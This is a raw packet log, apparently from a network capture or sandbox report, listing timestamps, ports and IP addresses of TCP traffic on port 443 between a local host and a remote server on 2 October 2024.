Oct 2, 2024 06:10:12.546756983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.546775103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.546952963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.546962023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.547002077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.621094942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.621115923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.621196032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.621206045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.621249914 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.621761084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.621777058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.621834040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.621840000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.621881008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.622133970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.622148991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.622188091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.622191906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.622220039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.622240067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.622783899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.622802019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.622854948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.622859955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.622898102 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.623519897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.623534918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.623591900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.623598099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.623637915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.623965025 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.623980045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.624031067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.624034882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.624075890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.624217033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.624232054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.624279022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.624284029 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.624321938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.638222933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.638238907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.638284922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.638292074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.638335943 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.711743116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.711765051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.711812019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.711828947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.711838961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.711865902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.712527990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.712543964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.712589025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.712594032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.712631941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.712785006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.712800980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.712829113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.712833881 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.712860107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.712873936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.713440895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.713457108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.713499069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.713504076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.713541031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714049101 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714063883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714107037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714111090 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714148998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714332104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714344978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714380026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714384079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714409113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714428902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714684010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714699030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714732885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714737892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.714762926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.714776039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.729192019 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.729217052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.729259968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.729270935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.729299068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.729314089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.802748919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.802771091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.802836895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.802853107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.802865028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.802885056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.803260088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.803277969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.803339958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.803344965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.803360939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.803375006 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.803577900 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.803597927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.803631067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.803637028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.803659916 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.803677082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.804090977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.804109097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.804156065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.804161072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.804202080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.804905891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.804939985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.804965019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.804970026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.804995060 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805012941 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805051088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.805068016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.805099010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805103064 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.805126905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805140018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805413961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.805430889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.805471897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805476904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.805494070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.805516005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.819628000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.819643974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.819713116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.819721937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.819762945 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902370930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902395964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902472019 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902477026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902498007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902514935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902532101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902565956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902570963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902592897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902605057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902610064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902615070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902636051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902662039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902673006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902688980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902721882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902726889 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.902745962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.902755022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.903341055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903356075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903399944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.903403997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903412104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903429985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903444052 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.903450012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903497934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.903654099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903678894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903717041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.903722048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.903734922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.903753996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.910316944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.910334110 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.910377026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.910382032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.910408020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.910428047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.984494925 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.984519005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.984579086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.984610081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.984626055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.984654903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.985589981 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.985605955 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.985642910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.985647917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.985671997 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.985691071 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.985826015 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.985853910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.985882998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.985886097 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.985912085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.985927105 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.986886024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.986915112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.986948967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.986953974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.986974955 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.986989021 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988034964 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988049984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988087893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988092899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988116026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988131046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988226891 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988243103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988275051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988280058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988303900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988348961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988744020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988759041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988792896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988797903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:12.988816977 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:12.988830090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.001266003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.001280069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.001317978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.001324892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.001349926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.001355886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.075263977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.075303078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.075423002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.075445890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.075494051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.076180935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.076201916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.076273918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.076280117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.076318979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.076478958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.076498032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.076550007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.076555014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.076594114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.077495098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.077517033 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.077570915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.077574968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.077616930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.078718901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.078737974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.078802109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.078807116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.078849077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.079054117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.079082012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.079118967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.079123020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.079149008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.079166889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.079401970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.079421043 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.079469919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.079474926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.079499960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.079519033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.084384918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.090641975 CEST	49672	443	192.168.2.4	173.222.162.32
Oct 2, 2024 06:10:13.090687037 CEST	443	49672	173.222.162.32	192.168.2.4
Oct 2, 2024 06:10:13.091801882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.091826916 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.091907978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.091914892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.091954947 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.165918112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.165942907 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.166083097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.166119099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.166651011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.166976929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.166996956 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.167052031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.167057037 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.167081118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.167102098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.167288065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.167309999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.167357922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.167363882 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.167746067 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.168189049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.168211937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.168246031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.168256044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.168272972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.168294907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.169339895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.169361115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.169409990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.169414997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.169538975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.169692993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.169713020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.169770002 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.169775009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.169821024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.170279980 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.170305014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.170388937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.170394897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.170804024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.178136110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.182277918 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.182301044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.182389975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.182403088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.182604074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.270783901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.270811081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.270889044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.270908117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.271080971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.272118092 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.272135973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.272200108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.272206068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.272310972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.272376060 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.272392988 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.272434950 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.272440910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.272461891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.272476912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:13.273180962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:13.273199081 CEST	443	49744	167.114.14.168	192.168.2.4
